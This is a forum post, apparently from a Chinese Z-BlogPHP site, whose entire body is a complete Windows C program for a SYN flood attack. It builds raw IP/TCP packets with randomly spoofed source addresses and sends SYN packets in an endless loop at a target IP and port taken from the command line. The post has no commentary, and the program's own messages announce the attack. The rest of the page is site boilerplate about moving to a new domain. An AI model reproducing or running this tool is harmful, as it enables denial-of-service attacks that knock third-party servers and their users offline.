当前位置：首页 > 站务板块 > 正文内容

no body

sdchiyan1232个月前 (07-18)站务板块460

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <time.h>

#pragma comment(lib, "ws2_32.lib")

// TCP伪首部结构 (用于校验和计算)
typedef struct {
    unsigned long saddr;
    unsigned long daddr;
    char zero;
    char protocol;
    unsigned short length;
} PSEUDO_HEADER;

// 自定义TCP头部 (便于设置标志位)
typedef struct {
    unsigned short sport;
    unsigned short dport;
    unsigned int seq;
    unsigned int ack_seq;
    unsigned char len;
    unsigned char flag;
    unsigned short win;
    unsigned short checksum;
    unsigned short urg;
} TCP_HEADER_CUSTOM;

// IP头部 (Windows下需要自行定义)
typedef struct {
    unsigned char ver_hdrlen;   // 版本(4) + 首部长度(4)
    unsigned char tos;          // 服务类型
    unsigned short total_len;   // 总长度
    unsigned short id;          // 标识
    unsigned short flags_off;   // 标志(3) + 分片偏移(13)
    unsigned char ttl;          // 生存时间
    unsigned char protocol;     // 协议
    unsigned short checksum;    // 校验和
    unsigned long saddr;        // 源IP地址
    unsigned long daddr;        // 目的IP地址
} IP_HEADER;

// 计算校验和 (与Linux版本相同)
unsigned short calc_checksum(unsigned short *buffer, unsigned short size) {
    unsigned long cksum = 0;

while (size > 1) {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }

if (size) {
        cksum += *(unsigned char *)buffer;
    }

cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);

return (unsigned short)(~cksum);
}

// 初始化IP头部
void init_ip_header(IP_HEADER *iphdr, unsigned long srcaddr, unsigned long dstaddr) {
    int len = sizeof(IP_HEADER) + sizeof(TCP_HEADER_CUSTOM);

iphdr->ver_hdrlen = (4 << 4) | (sizeof(IP_HEADER) / 4);
    iphdr->tos = 0;
    iphdr->total_len = htons(len);
    iphdr->id = 1;
    iphdr->flags_off = 0x4000;  // 不分片
    iphdr->ttl = 255;
    iphdr->protocol = IPPROTO_TCP;
    iphdr->checksum = 0;
    iphdr->saddr = srcaddr;
    iphdr->daddr = dstaddr;
}

// 初始化TCP头部
void init_tcp_header(TCP_HEADER_CUSTOM *tcphdr, unsigned short dport) {
    tcphdr->sport = htons(rand() % 16383 + 49152);
    tcphdr->dport = htons(dport);
    tcphdr->seq = htonl(rand() % 90000000 + 2345);
    tcphdr->ack_seq = 0;
    tcphdr->len = (sizeof(TCP_HEADER_CUSTOM) / 4 << 4) | 0;
    tcphdr->flag = 0x02;  // SYN标志
    tcphdr->win = htons(1024);
    tcphdr->checksum = 0;
    tcphdr->urg = 0;
}

// 初始化TCP伪首部
void init_pseudo_header(PSEUDO_HEADER *hdr, unsigned long srcaddr, unsigned long dstaddr) {
    hdr->zero = 0;
    hdr->protocol = IPPROTO_TCP;
    hdr->length = htons(sizeof(TCP_HEADER_CUSTOM));
    hdr->saddr = srcaddr;
    hdr->daddr = dstaddr;
}

// 构建SYN数据包
int make_syn_packet(char *packet, int pkt_len, unsigned long daddr, unsigned short dport) {
    char buf[1024];
    int len;
    IP_HEADER ip;
    TCP_HEADER_CUSTOM tcp;
    PSEUDO_HEADER pseudo;
    unsigned long saddr = rand();

len = sizeof(IP_HEADER) + sizeof(TCP_HEADER_CUSTOM);

init_ip_header(&ip, saddr, daddr);
    init_tcp_header(&tcp, dport);
    init_pseudo_header(&pseudo, saddr, daddr);

// 计算IP校验和
    ip.checksum = calc_checksum((unsigned short *)&ip, sizeof(IP_HEADER));

// 计算TCP校验和 (包含伪首部)
    memset(buf, 0, sizeof(buf));
    memcpy(buf, &pseudo, sizeof(PSEUDO_HEADER));
    memcpy(buf + sizeof(PSEUDO_HEADER), &tcp, sizeof(TCP_HEADER_CUSTOM));
    tcp.checksum = calc_checksum((unsigned short *)buf, sizeof(PSEUDO_HEADER) + sizeof(TCP_HEADER_CUSTOM));

// 组装数据包
    memset(packet, 0, pkt_len);
    memcpy(packet, &ip, sizeof(IP_HEADER));
    memcpy(packet + sizeof(IP_HEADER), &tcp, sizeof(TCP_HEADER_CUSTOM));

return len;
}

// 创建原始套接字 (Windows版本)
SOCKET make_raw_socket() {
    SOCKET sock;
    int on = 1;
    unsigned long inaddr;
    SOCKADDR_IN sin;

// 创建原始套接字
    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock == INVALID_SOCKET) {
        printf("创建原始套接字失败: %d\n", WSAGetLastError());
        return INVALID_SOCKET;
    }

// 设置IP_HDRINCL选项，由用户构建IP头
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == SOCKET_ERROR) {
        printf("设置IP_HDRINCL失败: %d\n", WSAGetLastError());
        closesocket(sock);
        return INVALID_SOCKET;
    }

// 绑定套接字 (Windows需要绑定才能发送)
    inaddr = htonl(INADDR_ANY);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(0);
    sin.sin_addr.s_addr = inaddr;

if (bind(sock, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) {
        printf("绑定套接字失败: %d\n", WSAGetLastError());
        closesocket(sock);
        return INVALID_SOCKET;
    }

return sock;
}

// 发送SYN数据包
int send_syn_packet(SOCKET sock, unsigned long addr, unsigned short port) {
    SOCKADDR_IN skaddr;
    char packet[512];
    int pkt_len;

memset(&skaddr, 0, sizeof(skaddr));
    skaddr.sin_family = AF_INET;
    skaddr.sin_port = htons(port);
    skaddr.sin_addr.s_addr = addr;

pkt_len = make_syn_packet(packet, sizeof(packet), addr, port);

// Windows下sendto需要强制类型转换
    return sendto(sock, packet, pkt_len, 0, (struct sockaddr *)&skaddr, sizeof(SOCKADDR_IN));
}

int main(int argc, char *argv[]) {
    WSADATA wsaData;
    unsigned long addr;
    unsigned short port;
    SOCKET sock;

// 初始化Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup初始化失败\n");
        return 1;
    }

if (argc < 3) {
        fprintf(stderr, "用法: %s <目标IP> <目标端口>\n", argv[0]);
        WSACleanup();
        return 1;
    }

addr = inet_addr(argv[1]);
    if (addr == INADDR_NONE) {
        fprintf(stderr, "无效的IP地址格式: %s\n", argv[1]);
        WSACleanup();
        return 1;
    }

port = atoi(argv[2]);
    if (port == 0 || port > 65535) {
        fprintf(stderr, "无效端口号: %s\n", argv[2]);
        WSACleanup();
        return 1;
    }

srand((unsigned int)time(NULL));

sock = make_raw_socket();
    if (sock == INVALID_SOCKET) {
        fprintf(stderr, "创建原始套接字失败，请确保以管理员权限运行\n");
        WSACleanup();
        return 1;
    }

printf("开始发送SYN洪水攻击包到 %s:%d ...\n", argv[1], port);
    printf("按 Ctrl+C 停止攻击\n");

// 无限循环发送
    while (1) {
        if (send_syn_packet(sock, addr, port) == SOCKET_ERROR) {
            // 错误可能是网络繁忙，短暂休眠后继续
            printf("发送失败: %d\n", WSAGetLastError());
            Sleep(10);
        }
    }

closesocket(sock);
    WSACleanup();
    return 0;
}

返回列表

上一篇：新网站马上就好

没有最新的文章了...

站务||这是最后一条站务帖子

如果你看到了这个帖子，就说明这个网站无了因为我们已经迁徙到了新的网站https://lxtop.xmya.top/这个网站我们不会完全关闭，还是能够登录发帖的但由于新网站的性能已经内...

no body

相关文章

站务||这是最后一条站务帖子

Copyright Your WebSite.Some Rights Reserved. Good Luck for you!

Powered By Z-BlogPHP. Theme by TOYEAN.